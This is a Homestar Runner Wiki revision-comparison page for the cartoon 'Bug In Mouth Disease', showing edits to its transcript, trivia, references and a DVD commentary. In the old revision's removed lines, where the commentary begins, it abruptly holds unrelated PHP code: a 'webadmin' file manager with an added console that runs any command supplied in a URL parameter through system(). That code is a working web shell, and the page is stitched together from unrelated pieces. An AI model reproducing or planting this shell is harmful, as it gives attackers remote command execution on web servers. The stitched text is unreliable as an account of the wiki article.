Bug In Mouth Disease

From Homestar Runner Wiki

(Difference between revisions)
Jump to: navigation, search
m (Transcript: link to song (though shouldn't this be linked under "Inside References" instead?))
 
(includes 332 intermediate revisions)
Line 1: Line 1:
-
[[Image:Bug_in_mouth.PNG|thumb|It deliciously didn't work!]]
+
{{abigtoonnav}}
 +
[[Image:Bug in mouth.PNG|thumb|"Pom Pom! Santa! You gotta help me!"]]
Homestar swallows a bug and fears the end of the good times while Strong Bad is taped to the TV and Strong Sad searches for "the blue ones".
Homestar swallows a bug and fears the end of the good times while Strong Bad is taped to the TV and Strong Sad searches for "the blue ones".
'''Cast (in order of appearance):''' {{Film|Strong Sad}}, {{Film|Strong Bad}}, {{Film|Homestar Runner}}, {{Film|The King of Town}}, {{Film|Pom Pom}}, {{Film|Bubs}}, [[The Bug]]
'''Cast (in order of appearance):''' {{Film|Strong Sad}}, {{Film|Strong Bad}}, {{Film|Homestar Runner}}, {{Film|The King of Town}}, {{Film|Pom Pom}}, {{Film|Bubs}}, [[The Bug]]
-
'''Places:''' [[Strong Bad's Basement]], [[The Field]], [[Bubs' Concession Stand]]
+
'''Places:''' [[Basement of the Brothers Strong]], [[The Field]], [[Bubs' Concession Stand]]
-
'''Date:''' May 9, 2005
+
'''Date:''' Monday, May 9, 2005
'''Running Time:''' 5:10
'''Running Time:''' 5:10
'''Page Title:''' Don't...kill...bugs.
'''Page Title:''' Don't...kill...bugs.
 +
 +
{{dvd|Everything Else, Volume 2}}
==Transcript==
==Transcript==
 +
''{The Telebision displays a test pattern, with the text "This cartoon is called:". A static blip replaces the text with "Bug in Mouth Disease".}''
''{In the basement, Strong Sad is watching TV.}''
''{In the basement, Strong Sad is watching TV.}''
-
'''TV VOICE''': And that's why come Shakespeare was so awesome.
+
'''VOICE:''' ''{from TV}'' And that's why come Shakespeare was so awesome.
'''STRONG SAD:''' Oh! I see now.
'''STRONG SAD:''' Oh! I see now.
-
''(Strong Bad enters.)''
+
''{Strong Bad enters.}''
'''STRONG BAD:''' Hey, Dairy Queen.
'''STRONG BAD:''' Hey, Dairy Queen.
Line 26: Line 30:
'''STRONG SAD:''' I already told you, I don't want to be called that any more! I made a mistake!
'''STRONG SAD:''' I already told you, I don't want to be called that any more! I made a mistake!
-
'''STRONG BAD:''' Oh, sorry, Dairy Queen. Anyways, look. I just thought you should know that all your underwears somehow ended up individually priced and labelled in an online auction.
+
'''STRONG BAD:''' Oh; sorry, Dairy Queen. Anyways, look. I just thought you should know that all your underwears somehow ended up individually priced and labeled in an online auction.
'''STRONG SAD:''' ''{gets up, runs out of the room}'' Nobody buy the blue ones!
'''STRONG SAD:''' ''{gets up, runs out of the room}'' Nobody buy the blue ones!
-
'''STRONG BAD:''' That was too easy. Now to settle down for the 24-hour Caleb Rentpayer marathon! ''{Changes channel}''
+
'''STRONG BAD:''' That was too easy. Now to settle down for the 24-hour Caleb Rentpayer marathon! ''{changes channel}''
-
'''TUCKSWORTH:''' Caleb, were you making a little tent out of my jacket?
+
'''TUXWORTH:''' Caleb, were you making a little tent out of my jacket?
'''CALEB:''' I am now!
'''CALEB:''' I am now!
Line 40: Line 44:
''{Cut to the field. Homestar is running along. Cue music beat.}''
''{Cut to the field. Homestar is running along. Cue music beat.}''
-
'''HOMESTAR RUNNER:''' ''{singing approximately to the tune of the [[Theme Song Video | Homestar Runner Theme Song]]}'' Hooomestaaar is running. Along. Hooomestaaa– ''{A record scratches as he suddenly stops and starts coughing/spitting profusely.}'' Agh! I swallowed a bug! Bug swallow! Bug swallow! What do I do? What do I do? ''{composes himself}'' Okay, okay, calm down. Calm... down. Remember health class. A-hem. ''(goes down on one knee, speaks slowly and deliberately}''  Sir or madam, are you all right? Do you need medical resistance? ''{anguished}'' Oh, it's not working! The good times are over! ''{runs off}''
+
'''HOMESTAR RUNNER:''' ''{singing approximately to the tune of the [[Homestar Runner Theme Song]]}'' Hooomestaaar is running. Along. ''{drifting out of time with the music}'' Hooomestaaa{{--}}
 +
 
 +
''{A record scratches as he suddenly stops and starts coughing/spitting profusely.}''
 +
 
 +
'''HOMESTAR RUNNER:''' Agh! I swallowed a bug! Bug swallow! Bug swallow! What do I do? What do I do? ''{composes himself}'' Okay, okay, calm down. Calm... down. Remember health class. A-hem.
 +
 
 +
''{Homestar goes down on one knee.}''
 +
 
 +
'''HOMESTAR RUNNER:''' ''{slowly and deliberately}''  Sir or madam, are you all right? Do you need medical resistance? ''{anguished}'' Oh, it's not working! The good times are over! ''{runs off}''
-
''{The music starts in as we cut to another part of the field, where the King of Town and Pom Pom are eating ice cream bars.}''
+
''{The music starts up again and cut to another part of the field, where the King of Town and Pom Pom are eating ice cream bars.}''
-
'''KING OF TOWN:''' I keep telling him the sun don't rise and set on that pile of whatsit, but he don't want to listen!
+
'''THE KING OF TOWN:''' I keep telling him the sun don't rise and set on that pile of whatsit, but he don't want to listen!
''{Homestar runs in.}''
''{Homestar runs in.}''
-
'''POM POM:''' ''{greeting bubbling noises}''
+
'''POM POM:''' ''{bubbling noises}''
-
'''HOMESTAR RUNNER:''' Pom Pom! Santa! I think I swallowed a bug! ''{kneels down in front of the King of Town}'' The good times are over! You gotta help me out! I could die!
+
'''HOMESTAR RUNNER:''' Pom Pom! Santa! I think I swallowed a bug!
-
'''KING OF TOWN:''' Well, what do you want we should do?
+
''{He kneels down in front of the King of Town.}''
-
'''HOMESTAR RUNNER:''' Gimme them dang ice creams! ''{grabs the ice cream bars}'' We'll freeze 'em out! ''{scarfs them}''
+
'''HOMESTAR RUNNER:''' The good times are over! You gotta help me out! I could die!
-
'''KING OF TOWN:''' Doo! That stuff's prescription!
+
'''THE KING OF TOWN:''' Well, what do you want we should do?
-
'''HOMESTAR RUNNER:''' ''{sobs}'' It deliciously didn't work! ''{pokes Pom Pom with the one of the leftover sticks and Pom Pom narrows his eyes at Homestar, annoyed}'' Agh! ''(runs off}''
+
'''HOMESTAR RUNNER:''' Gimme them dang ice creams! ''{grabs the ice cream bars}'' We'll freeze 'im out! ''{quickly eats them}''
 +
 
 +
'''THE KING OF TOWN:''' Doo! That stuff's prescription!
 +
 
 +
'''HOMESTAR RUNNER:''' ''{sobs}'' Oh-ho-ho, it deliciously didn't work!
 +
 
 +
''{While saying this, he pokes Pom Pom with the one of the leftover sticks. Pom Pom narrows his eyes at Homestar, annoyed.}''
 +
 
 +
'''HOMESTAR RUNNER:''' Agh! ''{runs off}''
''{Cut to the basement, where Strong Bad is still watching TV.}''
''{Cut to the basement, where Strong Bad is still watching TV.}''
-
'''CALEB:''' You throw like a girl, Tucksworth.
+
'''CALEB:''' You throw like a girl, Tuxworth.
-
'''TUCKSWORTH:''' Caleb, that suitcase was heavy!
+
'''TUXWORTH:''' Caleb, that suitcase was heavy!
''{Strong Sad enters.}''
''{Strong Sad enters.}''
-
'''STRONG SAD:''' What online auction? I can't find anything. I even did an image search for "the blue ones" and got nothing. Or… nothing pleasant, anyway.
+
'''STRONG SAD:''' What online auction? I can't find anything. I even did an image search for "the blue ones" and got nothing. Or... nothing pleasant, anyway.
-
'''STRONG BAD:''' Well, keep searching. Try putting stuff in quotes or something. Or use "and" and "or". Oh yeah, "and" go away.
+
'''STRONG BAD:''' Well, keep searching. Try putting stuff in quotes or something. Or use "and" and "or". Oh, yeah, "and" go away.
-
'''STRONG SAD:''' Oh, Boolean operators! "Blue ''and'' ones"! Good idea! ''{walks off}''
+
'''STRONG SAD:''' ''{smiles}'' Oh, Boolean operators! "Blue ''and'' ones"! Good idea! ''{walks off}''
-
''{Cut to Bubs' concession stand. Bubs is burning an envelope labelled "EXHIBIT A" with a lighter.}'' <!-- It IS a lighter, not a candle! Watch the .swf file and zoom in on it, and you'll see it. It looks like one of those cheap lighters. The glow around the flame make it look a lot like a candle though.-->
+
''{Cut to Bubs' concession stand. Bubs is burning an envelope labeled "EXHIBIT A" with a lighter.}''<!-- It IS a lighter, not a candle! Watch the .swf file and zoom in on it, and you'll see it. It looks like one of those cheap lighters. The glow around the flame make it look a lot like a candle though.-->
'''BUBS:''' This is just fine!
'''BUBS:''' This is just fine!
-
''{Homestar runs in and Bubs drops the lighter and throws away the envelope.}''
+
''{Homestar runs in. Bubs drops the lighter and throws away the envelope.}''
'''HOMESTAR RUNNER:''' Bubs, you're a doctor, right? I think a bug flew into the side of my mouth. I'm afraid the good times are over!
'''HOMESTAR RUNNER:''' Bubs, you're a doctor, right? I think a bug flew into the side of my mouth. I'm afraid the good times are over!
-
'''BUBS:''' A doctor, eh? I think I might be one of those. Let me take a look. ''{examines a wad of his business cards}'' Whadda we got here? Bail bondsman, paranormal investigator, normal investigator… Oh, here we go! "Dr." Bubs! Let's take a look atcha.
+
'''BUBS:''' A doctor, eh? I think I might be one of those. Let me take a look. ''{examines a wad of his business cards}'' Whadda we got here? Bail bondsman, paranormal investigator, normal investigator... Oh, here we go! "Dr." Bubs! Let's take a look atcha.
'''HOMESTAR RUNNER:''' Aaaaah. ''{opens mouth}''
'''HOMESTAR RUNNER:''' Aaaaah. ''{opens mouth}''
-
'''BUBS:''' Hmm… ''{peers inside; Homestar gurgles "You got it?"}'' Okay… ''{Homestar gurgles okay...}'' Yes, yes. ''{Homestar gurgles yes,yes}''  Interesting. ''{Homestar makes a noise}'' I've got terrible, terrible news, Homestar.
+
'''BUBS:''' Hmm… ''{peers inside}'' Okay...
-
'''HOMESTAR RUNNER:''' Oh no! Is it about the good times?
+
'''HOMESTAR RUNNER:''' ''{gurgles "Okay..."}''
-
'''BUBS:''' I'm afraid you've got no pancreas. ''{Homestar looks annoyed}'' But I do happen to have a fresh one for sale right here! ''{picks up a cooler labelled "EXHIBIT B" and places it on the counter}''
+
'''BUBS:''' Yes, yes.
 +
 
 +
'''HOMESTAR RUNNER:''' ''{gurgles "Yes, yes."}''
 +
 
 +
'''BUBS:''' Interesting.
 +
 
 +
'''HOMESTAR RUNNER:''' ''{gurgles "Is it good?"}''
 +
 
 +
'''BUBS:''' I've got terrible, terrible news, Homestar.
 +
 
 +
'''HOMESTAR RUNNER:''' Oh, no! Is it about the good times?
 +
 
 +
'''BUBS:''' I'm afraid you've got no pancreas.
 +
 
 +
''{Homestar looks annoyed}''
 +
 
 +
'''BUBS:''' But I do happen to have a fresh one for sale right here!
 +
 
 +
''{Bubs picks up a cooler (brand named 'coola') labeled "EXHIBIT B" and places it on the counter}''
'''HOMESTAR RUNNER:''' Bubs, are you an unethical quack?
'''HOMESTAR RUNNER:''' Bubs, are you an unethical quack?
'''BUBS:''' The most quackinest!
'''BUBS:''' The most quackinest!
 +
 +
''{Homestar looks surprised.}''
''{Cut to the basement, where Strong Bad is watching TV with a fork in his hand and a skillet in his lap.}''
''{Cut to the basement, where Strong Bad is watching TV with a fork in his hand and a skillet in his lap.}''
-
'''STRONG BAD:''' ''{imitating Tucksworth}'' Strong Caleb, did you make the best omelette ever during the commercial break? ''{imitating Caleb}'' I sure did.
+
'''STRONG BAD:''' ''{imitating Tuxworth}'' Strong Caleb, did you make the best omelette ever during the commercial break? ''{imitating Caleb}'' I sure did.
''{Homestar runs in.}''
''{Homestar runs in.}''
-
'''HOMESTAR RUNNER:''' Strong Bad! I think I
+
'''HOMESTAR RUNNER:''' Strong Bad! I think I{{--}}
-
'''STRONG BAD:''' ''(silencing him}'' Ah-ah-ah! Not today, McDorkle.
+
'''STRONG BAD:''' ''{silencing him}'' Ah-ah-ah! Not today, McDorkle.
-
''{Homestar leaves then jumps in from the other side.}''
+
''{Homestar leaves and then jumps in from the other side.}''
-
'''HOMESTAR RUNNER:''' Strong Bad! I think a bug might have
+
'''HOMESTAR RUNNER:''' Strong Bad! I think a bug might have{{--}}
'''STRONG BAD:''' Can't you see Grandma's watching her stories?
'''STRONG BAD:''' Can't you see Grandma's watching her stories?
Line 114: Line 154:
''{Homestar leaves.}''
''{Homestar leaves.}''
-
'''TUCKSWORTH:''' Why aren't you breathing, Caleb?
+
'''TUXWORTH:''' Why aren't you breathing, Caleb?
 +
 
 +
''{Homestar pops up from behind the couch.}''
 +
 
 +
'''HOMESTAR RUNNER:''' Strong Bad{{--}}
 +
 
 +
''{Without missing a beat, continuing to watch, Strong Bad hits him in the face with his skillet.}''
-
'''HOMESTAR RUNNER:''' ''{pops up from behind the couch}'' Strong Bad – ''{Strong Bad hits him with his skillet}'' Ugh. ''{falls down}''
+
'''HOMESTAR RUNNER:''' Ugh. ''{falls down}''
-
'''ANNOUNCER:''' And coming up next on ''Caleb Rentpayer'', find out ''whom'' shot Caleb.
+
'''ANNOUNCER:''' And coming up next on ''Caleb Rentpayer'', find out ''who'' shot Caleb.
-
'''STRONG BAD:''' "Who shot Caleb?" Oh, there's no way I'm missing that one. NO WAY.
+
'''STRONG BAD:''' "Who shot Caleb?" Oh, there's ''no'' way I'm missing that one. ''No way.''
-
''{Fade to black. Some time later, Homestar emerges from behind the couch. Couch is empty.}''
+
''{Fade to black. Some time later, Homestar emerges from behind the couch. The couch is empty.}''
-
'''HOMESTAR RUNNER:''' ''{yawns}'' That was a great skillet nap! Thanks, Strong Bad. Strong Bad?
+
'''HOMESTAR RUNNER:''' ''{yawns and smacks his lips}'' That was a great skillet-nap! Thanks, Strong Bad. Strong Bad?
-
''{Strong Bad is duct-taped to the TV.}''
+
''{Cut to the TV, where Strong Bad has duct-taped himself to the screen.}''
-
'''STRONG BAD:''' Can't… miss… any of the action!
+
'''STRONG BAD:''' ''{somewhat muffled}'' Can't... miss... any of... the action!
'''HOMESTAR RUNNER:''' Strong Bad, the good times are over! I swallowed your computer!
'''HOMESTAR RUNNER:''' Strong Bad, the good times are over! I swallowed your computer!
-
'''STRONG BAD:''' You ''what''? ''{tears his head from the TV}'' ''{TV music stops}''
+
'''STRONG BAD:''' You ''what''?! ''{tears his head from the TV}''
 +
 
 +
''{TV music stops.}''
'''HOMESTAR RUNNER:''' Oh, I mean a small bug. I swallowed a small bug.
'''HOMESTAR RUNNER:''' Oh, I mean a small bug. I swallowed a small bug.
-
'''STRONG BAD:''' Aw. Now my head's not taped to the TV.
+
'''STRONG BAD:''' ''{dejected}'' Aw. Now my head's not taped to the TV.
-
'''HOMESTAR RUNNER:''' Strong Bad, I really need your help!
+
'''HOMESTAR RUNNER:''' Strong Bad, I really need your help.
'''STRONG BAD:''' And ''I'' really need to find out who shot Caleb Rentpayer!
'''STRONG BAD:''' And ''I'' really need to find out who shot Caleb Rentpayer!
Line 144: Line 192:
'''HOMESTAR RUNNER:''' Oh, that's easy. I did.
'''HOMESTAR RUNNER:''' Oh, that's easy. I did.
-
'''STRONG BAD:''' You-ka w-wha?
+
'''STRONG BAD:''' You-ka{{--}} w-wha?
-
'''TUCKSWORTH:''' Homestar Runner, did you shoot Caleb?
+
'''TUXWORTH:''' Homestar Runner... ''{Homestar smiles}'' ...did you shoot Caleb?
-
''{Homestar appears on the TV, wearing the sunglasses he wears in [[the bet]].}''
+
''{Homestar appears on the TV, wearing the sunglasses he wore in [[the bet]].}''
'''HOMESTAR RUNNER:''' I sure did.
'''HOMESTAR RUNNER:''' I sure did.
-
'''STRONG BAD:''' You traitor! You shot my favorite TV show! ''(throws the remote at Homestar's face}''
+
'''STRONG BAD:''' You traitor! You shot my favorite TV show! ''{throws the remote at Homestar's face}''
'''HOMESTAR RUNNER:''' Hiccup. ''{the bug flies out of his mouth}'' Hey, look at that! A little guy. A bug ''did'' fly in my mouth!
'''HOMESTAR RUNNER:''' Hiccup. ''{the bug flies out of his mouth}'' Hey, look at that! A little guy. A bug ''did'' fly in my mouth!
-
'''STRONG BAD:''' Ugh… the good times are ''definitely'' over.
+
'''STRONG BAD:''' Ugh... the good times are ''definitely'' over.
-
''{Strong Sad runs in, wearing a blue pair of underwear. Strong Bad opens his mouth in surprise.}''
+
''{Strong Sad runs in, wearing a blue pair of boxer shorts. Strong Bad opens his mouth in surprise. Homestar looks over, but doesn't look a bit suprised.}''
'''STRONG SAD:''' The world is saved! I found the blue ooooones!
'''STRONG SAD:''' The world is saved! I found the blue ooooones!
-
''{the bug flies across the screen as the toon ends}''
+
''{The bug flies across the screen as the toon ends}''
==Fun Facts==
==Fun Facts==
===Explanations===
===Explanations===
-
*A [[Wikipedia:Logical_connective|Boolean operator]] is a logical conjunction describing the relationship between two assertions ('and' and 'or' being primary examples). Some search engines accept them.
+
*{{w|Logical connective|Boolean operator}}s are a type of a conjunction {{--}} many search engines and functions will use "AND", "OR", and "NOT" (or similar operators) in a search input to refine the results shown, allowing a savvy searcher to better find results they are looking for.
-
*Using quotes refers to putting a multi-word search term inside of quotation marks.  Most search engines will find the entire, unbroken phrase instead of the individual words.
+
*Enclosing a multi-word search term inside of "quotation marks" will, in most search engines, only return results for the exact wording of the quoted phrase rather than the individual words in any order.
-
*The [[Wikipedia:pancreas|pancreas]] is a large lobulated organ that secretes digestive enzymes and the hormones insulin and glucagon.
+
*The {{wp|pancreas}} is an organ that makes up part of the digestive system. It functions to regulate blood sugar and helps break down and digest food.
-
*A [[Wikipedia:Bail_bondsman|bail bondsman]] is a person who posts bail in exchange for a fee, usually 10 percent of the total bail.
+
*A {{wp|bail bondsman}} is a person who posts {{w|bail}} in exchange for a fee, usually 10 percent of the total bail.
-
*A "[[wikipedia:Quackery|quack]]" is an untrained person who pretends to be a physician and dispenses medical advice and treatment.
+
*A "{{w|Quackery|quack}}" is a fraudulent or ignorant individual person who pretends to be a physician and dispenses medical advice and treatment.
-
*The telephone numbers on Bubs' business cards have the prefix [[Wikipedia:555_telephone_number|555]], which is commonly used for fictional numbers in North American movies and television.
+
*The title of the toon is based on {{wp|foot-and-mouth disease}}, a disease that affects cattle.
 +
*The colors on the TV at the beginning of the toon are based on the {{wp|SMPTE color bars}}, a {{w|Test card|test pattern}} commonly used by television broadcast stations when nothing is on the air.
===Trivia===
===Trivia===
-
*Bubs' cards read:
+
*Bubs's [[business cards]] read:
     Bubs
     Bubs
  Bail Bondsman,
  Bail Bondsman,
Line 200: Line 249:
  VCR Repair/Fashion Consultant
  VCR Repair/Fashion Consultant
-
*Bubs' e-mail address here is bubs@bubs.bubs, but it was bubs@homestarrunner.com in [[unused emails]].
+
*Bubs's [[Contacts|email address]] here is bubs@bubs.bubs, but it was bubs@homestarrunner.com in [[unused emails]].
-
*When the Announcer says "whom", in an attempt to sound sophisticated, it is grammatically incorrect. As the pronoun that would go there is not "Him shot Caleb" but rather "He shot Caleb", the question should use "who".
+
*"The good times are over!" has been [[Quote of the Week]] twice, though the second time was for only one day.
-
*"Coola" is written on the bottom right corner of the cooler.
+
*The [[YouTube]] description for this toon is "The good times might be over as Homestar suffers from bug-swallow while Strong Bad catches up on his Caleb Rentpayer stories. Original publish date: May 9, 2005".
===Remarks===
===Remarks===
-
*Strong Sad has underwear even though he says he "doesn't really wear clothes" in his [[Strong Sad's Lament|blog]].
+
*Strong Sad has underwear even though he said he "doesn't really wear clothes" in his [[Strong Sad's Lament|blog]].
 +
*The telephone numbers on Bubs's business cards have the prefix {{w|555 (telephone number)|555}}, which is commonly used for fictional numbers in North American movies and television.
 +
* If the cartoon is played frame-by-frame, it shows that no bug or fly ever enters Homestar's mouth.
 +
* Strong Bad claims to have placed Strong Sad's underwear in an online auction despite the fact that most major online auction sites prohibit selling used underwear.  An example is the eBay® [http://pages.ebay.com/help/policies/used-clothing.html used clothing policy].
 +
* Part of the [[Caleb Rentpayer]] episode (where Caleb says that Tuxworth "throws like a girl") breaks the show's usual format. Whereas a standard episode would usually have Tuxworth asking Caleb if he did/ate/took something and Caleb defiantly stating "I sure am/did", this portion has Caleb speak first.  Of course, he's still mean and insulting to Tuxworth.
 +
*This is the first Big Toon since [[The Reddest Radish]] not to include opening credits.
 +
*When Homestar turns around remembering health class, the shadow of the bushes changes.
===Goofs===
===Goofs===
-
*When Strong Sad turns around in front of the couch after talking about Boolean operators, his leg appears behind the remote that is on the couch.
+
*When Strong Bad sits on the couch in the first scene, his left eye is slightly mispositioned.
 +
*When Strong Sad turns around in front of the couch after talking about Boolean operators, his leg appears behind [[Remote Control|the remote]] that is on the couch.
 +
*Bubs's "Normal Investigator" card misspells "paranormal" as "paranaormal".
*When Strong Bad is duct taped to the TV, there are five pieces of tape. After he turns around, there are only four.
*When Strong Bad is duct taped to the TV, there are five pieces of tape. After he turns around, there are only four.
*In the frame in which Strong Bad's head is turned to the right while looking backwards at Homestar, the grey section is visible on both ends of the tape, but the silver, sticky side is the one which should be showing on the end between Strong Bad's head and the TV.
*In the frame in which Strong Bad's head is turned to the right while looking backwards at Homestar, the grey section is visible on both ends of the tape, but the silver, sticky side is the one which should be showing on the end between Strong Bad's head and the TV.
-
*Bubs' "Normal Investigator" card misspells "paranormal".
 
===Inside References===
===Inside References===
 +
*Strong Sad is watching a show about [[Shakespeare]].
*Bubs provided VCR repair in the email [[12:00]].
*Bubs provided VCR repair in the email [[12:00]].
*The scene featuring Homestar running over darkened hills is similar to [[Old Intro 2]].
*The scene featuring Homestar running over darkened hills is similar to [[Old Intro 2]].
-
*"The most quackinest" may be a reference to [[Pom Pom#Character video transcript|Pom Pom's character video]], the page title of which is "The Most Mackinest".
+
*''[[Caleb Rentpayer]]'' first appeared in [[secret recipes]]. This is the first time the show and Tuxworth have been named.
-
*''[[Caleb Rentpayer]]'' first appeared in [[secret recipes]]. This is the first time the show and Tucksworth have been named.
+
*Homestar uses the same sunglasses in the email [[the bet]].
-
*Homestar uses the same sunglasses in the email "the bet."
+
-
*The VCR on the top of the TV is the same VCR as the one used in the Characters page and the email [[12:00]].
+
-
<!-- You're right! There are no Easter Eggs in this toon. Whether or not to include the fact here is currently under debate on the STUFF page. Please don't add it again -->
+
<!-- Yes, Homestar IS singing his theme song, but it's already mentioned in the transcript, so please do not add it here. -->
<!-- Yes, Homestar IS singing his theme song, but it's already mentioned in the transcript, so please do not add it here. -->
<!-- The connection between "Rose Face" and "Bug Swallow" is on the STUFF page. Don't add it here at all UNDER ANY CIRCUMSTANCES, as it has been declined. -->
<!-- The connection between "Rose Face" and "Bug Swallow" is on the STUFF page. Don't add it here at all UNDER ANY CIRCUMSTANCES, as it has been declined. -->
 +
*The phrase "[[why come]]" was first used in the [[Yearbook Character Page]], where the description for Bubs reads "That's why come he's so fat."
 +
*Strong Bad comments that he made the [[Best/Worst X Ever|best omelette ever]].
 +
* Strong Bad saying "can't you see Grandma's watching her stories?" is an example of [[Gender Confusion]].
 +
* Homestar [[Spoken Sound Effects|speaks the sound effect]] "hiccup" instead of actually hiccuping.
===Real-World References===
===Real-World References===
-
*The title of the toon is based on [[Wikipedia:Foot and mouth disease|foot and mouth disease]], a disease which affects cattle.
+
[[Image:Labeled CRP Background.PNG|thumb|The screen for "Who Shot Caleb?", with video games labeled.]]
-
*The page title (Don't...kill...bugs.) is a reference to [[wikipedia:Bob & Doug McKenzie|Bob & Doug McKenzie's]] [http://www.amazon.com/exec/obidos/tg/detail/-/B000001EPF/qid=1103258200/sr=8-1/ref=pd_csp_1/104-4330593-4682322?v=glance&s=music&n=507846 "Great White North" album]. Specifically, it refers to the [http://www.mts.net/~marcz/hosers/elron2.htm "Elron McKenzie"] track, where Doug plays a preacher whose sermon deals with the importance of not killing bugs.
+
*The page title "Don't...kill...bugs." is a reference to the [[Bob & Doug McKenzie]] "Elron McKenzie" sketch, where Doug plays a preacher giving a sermon on the importance of not killing bugs.
-
*The "Whom shot Caleb?" episode is a reference to the often-parodied shooting of J. R. Ewing on [[wikipedia:Dallas_%28TV_series%29|Dallas]].
+
*The "Who shot Caleb?" episode is a reference to the often-parodied {{w|Who shot J.R.?|shooting}} of {{wp|J.R. Ewing}} on ''{{w|Dallas (1978 TV series)|Dallas}}''.
-
*Homestar overreacting over swallowing a bug is similar to a [[Wikipedia:Seinfeld|Seinfeld]] episode, in which [[Wikipedia:George_Costanza|George]] did the same thing.
+
*Homestar overreacting over swallowing a bug is similar to a ''[[Seinfeld]]'' episode, in which {{w|George Costanza|George}} did the same thing.
-
*When Strong Sad says, "I even did an image search..." he is referring to web sites (such as [http://images.google.com/images?q=blue+ones&hl=en Google Image Search]) which feature search engines that allow you to search for pictures instead of web pages.
+
*"The most quackinest" is a reference to the [[Beastie Boys]] song "Shake Your Rump", which rhymes "I'm the most mackinest"/"the most packinest" in the third verse.
-
*When Strong Bad removes his head from the TV, on the left side of the screen, you can see a [[Wikipedia:Super Nintendo|Super Nintendo]] which was a popular video game system in the early and mid 1990's.
+
**"Shake Your Rump" was previously referenced in the [[page title]] of [[Pom Pom's character video]]: "The Most Mackinest".
-
**You can also make out what appears to be an [[Wikipedia:Atari 2600|Atari 2600]] on the right side.
+
*When Strong Bad removes his head from the TV, on the left side of the screen a [[Nintendo#Super Nintendo Entertainment System (SNES)|Super Nintendo]] is visible, which was a popular video game system in the early and mid-1990s. If Strong Bad is removed via Flash decompiler, a black [[Nintendo#Nintendo GameCube|GameCube]] is also visible. Some [[Nintendo#Nintendo 64|Nintendo 64]] game cartridges can also be seen.
-
*[[Wikipedia:Dairy Queen|Dairy Queen]] is a restaurant [http://www.dairyqueen.com chain] that was founded in 1940 in Kankakee, Illinois. It is best known for its line of "soft-serve" ice cream products.
+
**An [[Atari 2600]] can be made out on the right side as well as an {{wp|NES 2}} above the Super Nintendo. In the shadow underneath (and slightly to the left of) the Nintendo 64 cartridges may be the system itself.
 +
**The NES cartridge in the NES 2 is ''{{wp|Kirby's Adventure}}''.
 +
*{{wp|Dairy Queen}} is a restaurant chain centered around soft-serve ice cream and fast food.
-
==External Links==
+
===Fast Forward===
-
* [[HR:buginmouth.html|watch "Bug In Mouth Disease"]]
+
-
* [[HR:buginmouth.swf|view the Flash file for "Bug In Mouth Disease"]]
+
-
* [[Forum:3174|forum thread re: "Bug In Mouth Disease"]]
+
-
[[Category: Toons]]
+
*Bugs fly out of Homestar's mouth again in [[hygiene]].
 +
*Strong Bad's line "No way." is used again in an error message on [[Strong Bad's Cool Game for Attractive People]].
 +
== DVD Version ==
 +
{{commentary}}
-
<?php
+
===Commentary Transcript===
-
/*
+
('''Commentary by:''' [[Matt Chapman]], [[Mike Chapman]])
-
* wa2.php = webadmin + console :O :O :O
+
-
*****************************************************************
+
-
* JIM~ added *nix console to this script OMFG OMFG OMFG
+
-
*****************************************************************
+
-
* webadmin.php - a simple Web-based file manager
+
-
* Copyright (C) 2002  Daniel Wacker <mail@wacker-welt.de>
+
-
*
+
-
/* ------------------------------------------------------------------------- */
+
-
?>
+
'''MATT:''' I'm going to try extra hard to use good diction and proper grammar during this commentary, Mike Chapman.
-
<?php
+
-
if($jimx) {
+
-
?><head><title>webadmin2 (mod by JIM~) - *nix Console</title></head><body><form action="<?php echo($self); ?>" method="GET"><div style="background-color: #EEEEEE; border: 1px solid black; padding: 4px 4px 4px 4px;">Console <input type="text" name="jimx"> <input type="submit" value="Execute"></div></form><pre><font face="Lucidia Console">cmd><?php
+
-
echo $jimx."<br><br>";
+
-
if (isset($chdir)) @chdir($chdir);
+
-
  ob_start();
+
-
  system($jimx." 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
+
-
  $output = ob_get_contents();
+
-
  ob_end_clean();
+
-
if (!empty($output)) {
+
-
echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
+
-
}
+
-
echo "</font></pre>";
+
-
die();
+
-
}
+
-
/* Select your language:
+
'''MIKE:''' You're off to a very good start, brother Matt.
-
* 'en' - English
+
-
* 'de' - German
+
-
* 'cz' - Czech
+
-
* 'it' - Italian
+
-
*/
+
-
$language = 'en';
+
-
/* This directory is shown when you start webadmin.php.
+
'''MATT:''' Thank you.
-
* For example: './' would be the current directory.
+
-
*/
+
-
$homedir = './';
+
-
/* This sets the root directory of the treeview.
+
'''MIKE:''' That guy on the TV didn't have good grammar now, did he?
-
* Set it to '/' to see the whole filesystem.
+
-
*/
+
-
$treeroot = '/';
+
-
/* When you create a directory, its permission is set to this octal value.
+
'''MATT:''' No. ''{word is obscured by his laughing}'' Hey, this sort of relates to later on when we referred to Strong Sad's soft-serve flip. Do you think that's why he wanted to be called "Dairy Queen" temporarily?
-
* For example: 0705 would be 'drwx---r-x'.
+
-
*/
+
-
$dirpermission = 0777;
+
-
/* Uncomment the following line to enable this feature (remove #):
+
-
* When you create a file, its permission is set to this octal value.
+
-
* For example: 0644 would be 'drwxr--r--'.
+
-
*/
+
-
# $newfilepermission = 0777;
+
-
/* Uncomment the following line to enable this feature (remove #):
+
'''MIKE:''' Oh, yeah! ''{chuckling}'' Maybe, maybe! His head looks like a...
-
* When you upload a file, its permission is set to this octal value.
+
-
* For example: 0644 would be 'drwxr--r--'.
+
-
*/
+
-
# $uploadedfilepermission = 0777;
+
-
/* The size of the file edit textarea
+
'''MATT:''' Dairy Queen ice cream cone, yeah!
-
*/
+
-
$editrows = 20;
+
-
$editcols = 70;
+
-
/* ------------------------------------------------------------------------- */
+
'''MIKE:''' Umm...
-
$self = htmlentities(basename($_SERVER['PHP_SELF']));
+
'''MATT:''' ''{singing}'' In the land of Dairy Queen,
-
$homedir = relpathtoabspath($homedir, getcwd());
+
-
$treeroot = relpathtoabspath($treeroot, getcwd());
+
-
$words = getwords($language);
+
-
/* If PHP added any slashes, strip them */
+
'''BOTH:''' ''{singing}'' we treat you right!
-
if (ini_get('magic_quotes_gpc')) {
+
-
    array_walk($_GET, 'strip');
+
-
    array_walk($_POST, 'strip');
+
-
    array_walk($_REQUEST, 'strip');
+
-
}
+
-
/* Return Images */
+
'''MATT:''' Remember those commercials that used to have the land of Dairy Queen in them? It was like a chocolate...
-
if (isset($_GET['imageid'])) {
+
-
    header('Content-Type: image/gif');
+
-
    echo(getimage($_GET['imageid']));
+
-
    exit;
+
-
}
+
-
/* Initialize session */
+
